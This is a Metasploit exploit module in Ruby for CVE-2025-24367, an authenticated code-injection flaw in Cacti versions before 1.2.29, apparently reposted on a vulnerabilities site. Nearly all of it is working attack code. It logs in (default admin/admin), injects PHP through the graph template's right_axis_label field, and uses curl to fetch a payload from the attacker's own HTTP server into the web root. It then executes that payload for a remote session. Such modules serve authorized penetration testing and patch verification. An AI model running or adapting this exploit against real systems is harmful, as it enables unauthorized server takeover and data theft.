Cacti Graph Template Authenticated Remote Code Execution
##
# This module requires Cacti Graph Template Authenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
include Msf::Exploit::Cacti
prepend Msf::Exploit::Remote::AutoCheck
class CactiError < StandardError; end
class CactiNotFoundError < CactiError; end
class CactiVersionNotFoundError < CactiError; end
class CactiNoAccessError < CactiError; end
class CactiCsrfNotFoundError < CactiError; end
class CactiLoginError < CactiError; end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cacti Graph Template authenticated RCE versions prior to 1.2.29',
'Description' => %q{
This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29.
Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label
parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server.
The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload.
The initial payload downloads the full payload using curl from the attacker's server and saves it to the
web root of the cacti server before executing.
},
'License' => MSF_LICENSE,
'Author' => [
'chutchut', # Original discovery
'Jack Heysel' # Metasploit module
],
'References' => [
[ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'],
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq'],
[ 'CVE', '2025-24367'],
],
'Privileged' => false,
'Targets' => [
[
'Linux',
{
'Arch' => [ARCH_CMD, ARCH_PHP],
'Platform' => [ 'unix', 'linux', 'php' ],
# The graph template id 226 corresponds to "Linux - Logged on users"
'TemplateId' => 226
}
],
[
'Windows',
{
'Arch' => [ARCH_CMD, ARCH_PHP],
'Platform' => [ 'win', 'php' ],
# The graph template id 197 corresponds to "Host MIB - Logged in Users"
'TemplateId' => 197
}
]
],
'DefaultOptions' => {
'WfsDelay' => 600
},
'DisclosureDate' => '2025-01-27',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']),
]
)
end
def check
print_status('Checking Cacti version')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
html = res.get_html_document
begin
@cacti_version = parse_version(html)
version_msg = "The web server is running Cacti version #{@cacti_version}"
rescue CactiNotFoundError => e
return CheckCode::Safe(e.message)
rescue CactiVersionNotFoundError => e
return CheckCode::Unknown(e.message)
end
if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.29')
print_good(version_msg)
else
return CheckCode::Safe(version_msg)
end
@csrf_token = parse_csrf_token(html)
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?
begin
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
rescue CactiError => e
return CheckCode::Unknown("Login failed: #{e}")
end
@logged_in = true
CheckCode::Vulnerable
end
def csrf_magic_token
template_url = normalize_uri(target_uri.path, '/graph_templates.php?action=template_edit&id=' + target['TemplateId'].to_s)
res = send_request_cgi({
'uri' => template_url,
'method' => 'GET',
'keep_cookies' => true
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Could not access graph template edit page at #{template_url}")
end
csrf_magic_token = nil
magic_script_tag = res.get_html_document&.xpath('//script[contains(text(), "csrfMagicToken")]')&.text
if magic_script_tag
magic_script_tag =~ /var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)";/
csrf_magic_token = Regexp.last_match(1)
end
fail_with(Failure::UnexpectedReply, 'Could not find csrfMagicToken in the template edit page') if csrf_magic_token.nil?
csrf_magic_token
end
def generate_right_axis_label(command, php_filename)
<<~LABEL
XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph #{php_filename} -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`#{command}`;?>
LABEL
end
def send_template_update(csrf_magic, right_axis_label)
data = {
'__csrf_magic' => csrf_magic,
'name' => 'Host MIB - Logged in Users',
'graph_template_id' => target['TemplateId'],
'graph_template_graph_id' => target['TemplateId'],
'save_component_template' => '1',
'title' => '|host_description| - Logged in Users',
'vertical_label' => 'percent',
'image_format_id' => '3',
'height' => '200',
'width' => '700',
'base_value' => '1000',
'slope_mode' => 'on',
'auto_scale' => 'on',
'auto_scale_opts' => '2',
'auto_scale_rigid' => 'on',
'upper_limit' => '100',
'lower_limit' => '0',
'right_axis_label' => right_axis_label,
'action' => 'save'
}
update_url = normalize_uri(target_uri.path, '/graph_templates.php?header=false')
res = send_request_cgi!({
'uri' => update_url,
'method' => 'POST',
'keep_cookies' => true,
'data' => URI.encode_www_form(data)
})
print_status("Template update response: HTTP #{res.code}") if res
end
def trigger_template
trigger_url = normalize_uri(target_uri.path, '/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')
res = send_request_cgi({
'uri' => trigger_url,
'method' => 'GET',
'keep_cookies' => true
})
print_status("Trigger template update response: HTTP #{res.code}") if res
end
def upload_stage(upload_payload_command)
csrf_magic = csrf_magic_token
php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"
register_file_for_cleanup(php_filename)
right_axis_label = generate_right_axis_label(upload_payload_command, php_filename)
send_template_update(csrf_magic, right_axis_label)
trigger_template
php_payload_check = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),
'method' => 'GET',
'keep_cookies' => true
})
if php_payload_check && php_payload_check.code == 200
print_good("PHP payload uploaded successfully to #{target_uri.path}/#{php_filename}")
else
fail_with(Failure::UnexpectedReply, "Could not access the uploaded payload at #{target_uri.path}/#{php_filename}")
end
end
def execute_stage(execute_payload_command)
csrf_magic = csrf_magic_token
php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"
register_file_for_cleanup(php_filename)
right_axis_label = generate_right_axis_label(execute_payload_command, php_filename)
send_template_update(csrf_magic, right_axis_label)
trigger_template
send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),
'method' => 'GET',
'keep_cookies' => true
})
end
def on_request_uri(cli, request)
print_status("Request '#{request.method} #{request.uri}'")
print_status('Sending payload ...')
send_response(cli, payload.encoded,
'Content-Type' => 'application/octet-stream')
end
def authenticate
if @csrf_token.blank? || @cacti_version.blank?
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?
html = res.get_html_document
if @csrf_token.blank?
print_status('Getting the CSRF token to login')
@csrf_token = parse_csrf_token(html)
fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?
vprint_good("CSRF token: #{@csrf_token}")
end
if @cacti_version.blank?
print_status('Getting the version')
begin
@cacti_version = parse_version(html)
vprint_good("Version: #{@cacti_version}")
rescue CactiError => e
print_error("Could not get the version, the exploit might fail: #{e}")
end
end
end
unless @logged_in
begin
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
rescue CactiError => e
fail_with(Failure::NoAccess, "Login failure: #{e}")
end
end
end
def validate_configuration!
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end
if Rex::Socket.is_ipv6?(datastore['SRVHOST'])
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.')
end
end
def exploit
validate_configuration!
authenticate
hosted_payload_name = Rex::Text.rand_text_alpha_lower(1)
start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false)
if payload.arch.first == ARCH_CMD
if target.name == 'Windows'
on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.bat"
execute_payload_command = "cmd\\x20/c\\x20#{on_disk_payload_name}"
else
on_disk_payload_name = Rex::Text.rand_text_alpha_lower(1)
execute_payload_command = "sh\\x20#{on_disk_payload_name}"
end
else
on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.php"
execute_payload_command = "php\\x20#{on_disk_payload_name}"
end
vprint_status("Payload execution command: #{execute_payload_command}")
# upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported
upload_payload_command = "curl\\x20#{datastore['SRVHOST']}\\x3a#{datastore['SRVPORT']}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}"
fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47
upload_stage(upload_payload_command)
execute_stage(execute_payload_command)
end
end
Cacti Graph Template Authenticated Remote Code Execution
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 149